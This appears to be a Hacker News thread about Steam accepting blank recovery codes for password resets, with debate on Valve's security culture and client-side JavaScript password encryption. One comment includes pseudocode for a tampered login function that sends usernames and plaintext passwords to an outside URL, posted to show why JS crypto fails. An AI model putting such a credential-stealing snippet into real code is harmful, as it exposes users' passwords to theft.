Please note that while your password was potentially modified during this period the password itself was not revealed. Also, if you had Steam Guard enabled, your account was protected from unauthorized logins even if your password was modified.
> Please note that while your password was potentially modified during this period the password itself was not revealed.
Why would you tell people this? :-) The worst that can happen is that they figure out password re-use is a bad thing, panic and change it on all those other sites they use it ;-)
The first thing that came to mind when I read this headline was Valve's famous structureless work environment. If there's no structure, who handles all the grunt work noboday wants to do... like security?
Even if somebody is explicitly assigned to security, I'm not very confident they'd have the authority to make all these freewheeling ad hoc teams adhere to good practices.
A few months back I had a discussion with a Valve developer about the sandboxing they use for the Steam Overlay and its embedded web browser. I was describing how their sandboxing was inadequate and vulnerable, and he responded by explaining how they had done things correctly and listing the measures they took.
Then I explained that the measures were incomplete and the embedded browser wasn't actually secure (among other problems, the sandbox was running as Administrator with the debug privilege...) He investigated, and saw that the sandboxing was never finished by the engineer who worked on it. So he took some time to go finish it himself. Up until that point, Valve had been operating under the assumption that they had a working sandbox - worse than if they had no sandbox at all.
The above is merely an anecdote, but I've heard a lot from current/former Valve employees to the effect that engineers are rewarded for doing high-profile/high-impact work and not encouraged to do much else. If you interact with them as a game developer you can really see this in action with how they ship Steamworks updates - major features break without warning, bugs go unfixed, no real support channel, incomplete documentation.
I spent a couple weeks building out Steam Workshop support for a title. Doing this required identifying and working around a handful of strange, undocumented bugs and API limitations. In the time since we launched, Steam updates have broken the workshop support at least twice, requiring me to spend a day or two figuring out what broke and ship a patch. I've seen similar issues with other titles.
My own interaction with two developers there several years ago was that the web was clearly the redheaded stepchild of Valve. I think they said something like maybe 7 people worked on those features back then, one of those two only sort of worked on it. Additionally, they only really had something like 3-4 people focusing on it most of the time.
For years they had prototype.js included, yet the library was essentially dead at that point for at least a year. Now they have jQuery and are running 1.8.X version, which means they are using a 3 year old version. I think this kind of speaks for itself.
Indeed, it's less a matter of organizational style and more a matter of people in the company valuing QA enough to hire dedicated personnel, and then getting out of their way.
If I (somehow) got hired at Valve, I would dedicate myself to fixing Steam's deeply shitty UI. Just off the top of my head, trailer videos on Steam don't buffer more than a few seconds ahead unless you watch the entire video, and it is literally impossible to return to the exact beginning of a video without first switching away from it (you can only navigate by clicking--not dragging--the progress slider, and it lacks the resolution to go back earlier than the first second or two). And of course it doesn't recognize universal-standard keyboard commands, like Space to play/pause and arrows to navigate. They only recently let you play/pause by clicking on the video instead of on the tiny button.
Trailers for pre-Greenlight games are actually better, because they're forced to use YouTube since Valve isn't willing to invest streaming video bandwidth in them yet. It's wretched.
And that includes security issues; there's one notable vuln where a malicious server or custom map can execute arbitary code on clients. Reported that a few months ago, it's fixed in CS:GO and TF2, but other Valve games apparently aren't receiving fixes (Portal, Portal 2, Left 4 Dead, Left 4 Dead 2, Counter-Strike: Source, HL2DM...)
And that's not to mention the folks who license the Source engine from Valve, who I'm currently trying to contact en masse and get them to fix this (and many other security-critical issues). Apparently, Valve doesn't push security patches downstream to them...
The big disappointment is how long it took them to acknowledge the issue. I was freaking out thinking my gmail account had been compromised. Was up into the wee hours of the morning trying to scrape log-files from my Android devices trying to figure out which one was leaking, since Google said nothing else was connected to my account.
I found out because somebody on Steam forums linked me to a Reddit thread on the subject.
Yeah, this is one of those "let the users know ASAP!" things.
Wow reset token blank worked. How in the world could their backend not check for an empty token, or even how is this validating true against the value in the database?
They don't seem to have any automated or manual testing before deployment (or at least, extremely little)- for example, one recent bug was that all the prices on the store disappeared, and nobody could buy anything.
> It’s not yet clear if Steam Guard offers sufficient protection from the exploit, as there have been some reports from users claiming that their accounts have been compromised even with Steam Guard enabled.
It's always good to have some kind of 2FA active, but it's unclear if it helped in this case.
This isn't one of those "change your passwords" moments, is it? Based on how this exploit worked, I would assume you'd already know if your account was breached and that there is no on-going risk after the fix?
I changed mine anyway; I've been meaning to change to a more secure password. I definitely think that if your account wasn't compromised, you don't need to change your password.
One little know cool thing steam has done for a while is encrypt passwords with a RSA public key before they are sent server side.
Yes, js crypto is not worth a whole lot but it is a valuable security tool to be used with TLS. There are some neat things they could be doing with this encrypted password (other than plainly decrypting it) that add a fair bit of security (no more than just a regular hash though).
No not really. It highlights how incompetent Valve is at security.
If you cannot trust the webserver or whatever is being served to you, JS crypto isn't going to do anything. They could just send you a login script that sends your unencrypted password elsewhere.
It highlights how incompetent Valve is at security.
Adding one feature shows they are incompetent at security? Great real.
Without more information about the scheme there's nothing to know. Whether useful or not it is still neat and can be used for benefit, but not for something TLS like.
Adding a feature that feels like security but actually isn't, would not be a good sign that they have a good understanding of web security.
What's the difference between 'client sends plaintext password' and 'client sends encrypted password' from the point of view of an attacker? All you're aiming to prevent is client-side interception but in reality it doesn't matter what you do to the password locally - if what you send is what the server expects then you still get in; the encrypted plaintext effectively becomes the password. Thus an attacker who can intercept a plaintext password is at no disadvantage intercepting an encrypted or hashed password instead, since it's still valid password data as far as the server is concerned.
If you as a service provider want to deal with an encrypted password at all times then why not just do that at the server end? And as the parent said, if as a client you can't trust the intentions of the server with respect to your password then encrypting it locally does nothing when they hold the keys to decrypt it, and provide the software you're using to do the encryption and transmission.
The way it worked was valve provides the RSA mod, exponent, and a timestamp.
You rsa-encrypted your password with that information and send it. They double checked server-side that you encrypted it with that information, decrypt it with their private key, and get on with checking against the hash in the database.
What this buys you is that if an attacker intercepts that login, it can't be re-used. Next time, valve will give a different mod and exp. Next time the valid encrypted password will be different. It turns the user typing the same password every time into a new encrypted value each time with each being valid for a short amount of time.
Defense in depth. It doesn't hurt to have more layers.
Anyways, we all know you can't trust TLS because any rogue CA can compromise the security of any domain. Any of the CA hacking in the last while means that a valid certificate for steampowered.com could be issued by the hacker. Similarly, on corporate networks, a rogue employee with access to the root for the default-installed company CA could MITM any of the employees.
Some corporate networks and schools just MITM all traffic by default, and in some cases log a portion of it. If that log were leaked or poorly secured, it would help to have another layer on top of that.
There's no question that TLS is imperfect and no question that when it comes to security you should pile on as many layers as possible and assume every one of them might be broken.
Yes defense in depth is good. But javascript encryption is the weakest link in the chain, it isn't an extra layer of security. This is something that many people seem to have trouble understanding.
As I just said in my original post, if you assume someone can already emulate your domain, all you have to do is edit the javascript to send the unencrypted password to your server and pass the encrypted version to the real server. No amount of layers of security is going to save you from that.
Maybe this pseudocode will help you understand.
function submit(user, pass) {
$.get('http://news.ycombinator.com/dump/?u='+user+'&p='+pass) // you will never notice this
var encrypted = encrypt(pass)
send(user, encrypted)
}
You don't need to be so condescending; I understand js crypto is typically a fools game.
Your example does fail for one of my examples; the case of a poorly secured log from the passive MITM of all connections at a company / university.
If the MITM was simply passive, without encryption the password (possibly valid for other things as well) has been leaked, but with the above encryption scheme it will not have been.
Anyways, the main client to this mechanism is not the browser, but the steam client which very well could verify the hash of the javascript files provided to it or their signature since valve has significantly tighter control over it.
I'm not saying that this scheme is a good idea or significantly more secure, I'm just trying to explain what could justify it.
You can't do passive MITM of TLS if the server is properly configured to use ephemeral key exchange, even if you have its private key. And even without ephemeral kex, and you somehow obtain a secondary trusted CA-signed cert for Steams domain, you still can't do passive MITM.
JS crypto really is worthless if you can't trust the connection.
If you are logging passwords, you've got bigger problems than worrying about attackers being able to middleman your TLS connection and somehow not able to modify it.
I know what you are trying to explain, and you are simply bending over backwards to make it look like this wasn't another example of how clueless about security Valve is.
I'm not going to argue but I might as well explain some of the uses here. For example, encrypting clientside and not decrypting serverside will mean it's impossible to have a plaintext password leak in the future, which decreases risk.
It also forces passive MITM to become active. Turning Eve into Mallory gives theoretical attackers much more work. There are more benefits beyond this.
What you're thinking of is using this for actual password protection, which it won't provide. It can't be used as a TLS replacement. If you've actually read tptacek's big blog post about this you would notice it has to do with using js crypto being used to protect something, which this won't provide, but it can successfully be used to protect a service from itself and many other things. It's impossible to know all the details and benefits and pitfalls of their scheme though, without all the code from the server too.
> encrypting clientside and not decrypting serverside [...]
...will also enable anyone with the encrypted password to log in, in a sort of pass-the-hash scenario. To protect against plaintext password leaks, you'll want to run PBKDF/*crypt on the server, not encrypt the password. See the Adobe password leak for the gory details.
> [...] JS crypto isn't going to do anything.
It may have provided a little bit of extra protection in some scenarios. For example, many trojans will grab any HTTP(S) POST data from your browser. If such a trojan is not specifically configured to grab Steam data, hashing/encrypting client-side will provide some protection.
The final goal this probably had is already achieved (a lot better) by properly configured TLS. I think this only prevents having the password in clear text at some specific point in time on the servers and (accidential) logging. OK, maybe some active MITM software (hi Lenovo!) that have not specifically been adjusted to replace the JS crypto may have been a concern. But probably someone just wanted to play around with JS crypto ;-)
They could have made this easier and faster by simply having the client apply a hash (have the server provide a temporary salt and mix it with a client-generated salt if you want to prevent accidential logging on your server) and handle this result as if it was the user's password (and hence hash this hash properly server-side).
As already noted, the (only) upside is that now you don't ever even process a user's password on your server, so you don't have to worry that a user's password might be stored in your logs or even MITMled in your own (unsecured) network.
I wonder why I have never read about somebody handling logins this "double-hashing" way? Anything I'm overlooking security-wise?
How is it that I don't see anything about this exploit on any of their sites? It's not on the steam store website, not on the Valve site, and not in Valve's news feed.
Is it advisable to change your password in this case? Is there anything other you can or should do to secure your account even though some report it is fixed?
It's a bit hyperbolic, but historically Valve have been very strict about VAC bans. If your account is hacked and someone cheats, they can get it permanently VAC banned and Valve will not negotiate or be lenient about it -- ever. I know this from experience and it's well known. In this case Valve will probably remove the VAC bans because it's such a high profile mistake on their part, but you can see why people are concerned -- especially when they haven't said anything publicly yet.
This exploit was mostly used to hit Twitch streamers. People whose job involves using their Steam account. They had hours of reduced revenue due to this attack and I find it unlikely that Valve will even acknowledge any opportunity costs, let alone reimburse them.
Considering the ammount of people visiting the store page each summer sale (well any sale), i dont think hacker news can generate that large amount of traffic.
TL;DW: Steam accepted blank recovery codes for password resets, enabling passwords to be changed without needing access to the recovery email account.
I hope someone is writing a new test case.